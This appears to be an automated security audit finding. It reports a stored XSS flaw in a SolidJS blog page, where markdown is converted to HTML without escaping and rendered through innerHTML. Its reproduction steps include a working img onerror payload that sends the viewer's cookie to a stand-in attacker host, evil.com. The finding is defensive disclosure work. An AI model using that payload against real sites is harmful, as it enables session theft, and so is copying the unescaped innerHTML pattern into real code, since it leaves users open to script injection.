Files
2026-05-29 09:03:47 -04:00

62 lines
2.8 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
Phase: 8
Sequence: 001
Slug: xss-in-innerhtml
Verdict: VALID
Rationale: Stored XSS confirmed via unsanitized markdown-to-HTML conversion with innerHTML directive; payload creation requires admin access but execution is automatically triggered by any blog viewer
Severity-Original: high
Severity: high
PoC-Status: pending
Pre-FP-Flag: none
Debate: piolium/attack-surface/balanced-chamber-summary.md
## Summary
The blog post rendering in `web/src/routes/blog/[slug].tsx` uses a custom `contentToHtml()` function that performs raw string concatenation without HTML escaping, combined with SolidJS's `innerHTML` directive that bypasses framework-level escaping. This creates a stored XSS vulnerability: any blog post containing HTML/JavaScript tags will execute in the context of every viewer's browser.
## Location
- `web/src/routes/blog/[slug].tsx` lines 1446 (contentToHtml function)
- `web/src/routes/blog/[slug].tsx` line 121 (innerHTML binding)
## Attacker Control
An admin user (or attacker with admin access via session theft, SQL injection, or credential compromise) can create a blog post containing malicious HTML/JavaScript. The payload is stored in the `blogPosts.content` column and rendered on every page view.
## Trust Boundary Crossed
Server-side data (blog post content) → Browser execution context (innerHTML). This crosses the server-to-client trust boundary, allowing server-stored data to execute as JavaScript in the victim's browser.
## Impact
Stored XSS affecting all blog post viewers. Attackers can:
- Steal session cookies and JWT tokens
- Perform actions on behalf of victims (account takeover)
- Redirect users to phishing pages
- Deface blog content
## Evidence
```typescript
// contentToHtml() — no HTML escaping
function contentToHtml(markdown: string): string {
const lines = markdown.split("\n");
let html = "";
for (const line of lines) {
if (line.startsWith("## ")) {
html += `<h2 class="...">${line.slice(3)}</h2>`; // No escaping
} else {
html += `<p class="...">${line}</p>`; // No escaping
}
}
return html;
}
// Line 121: innerHTML={contentHtml()} — bypasses SolidJS escaping
```
## Reproduction Steps
1. Admin creates blog post with content: `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
2. Any user visits the blog post page
3. The `contentToHtml()` function renders the content without escaping
4. The `innerHTML` directive renders the HTML as-is
5. The `onerror` handler executes, sending the victim's cookie to the attacker's server
## Defense Search Results
- CSP header includes `'unsafe-inline'` in script-src — does not prevent inline script execution
- CSP header includes `'unsafe-eval'` in script-src — further weakens CSP
- SolidJS default escaping is bypassed by the `innerHTML` directive
- No DOMPurify or similar sanitization library used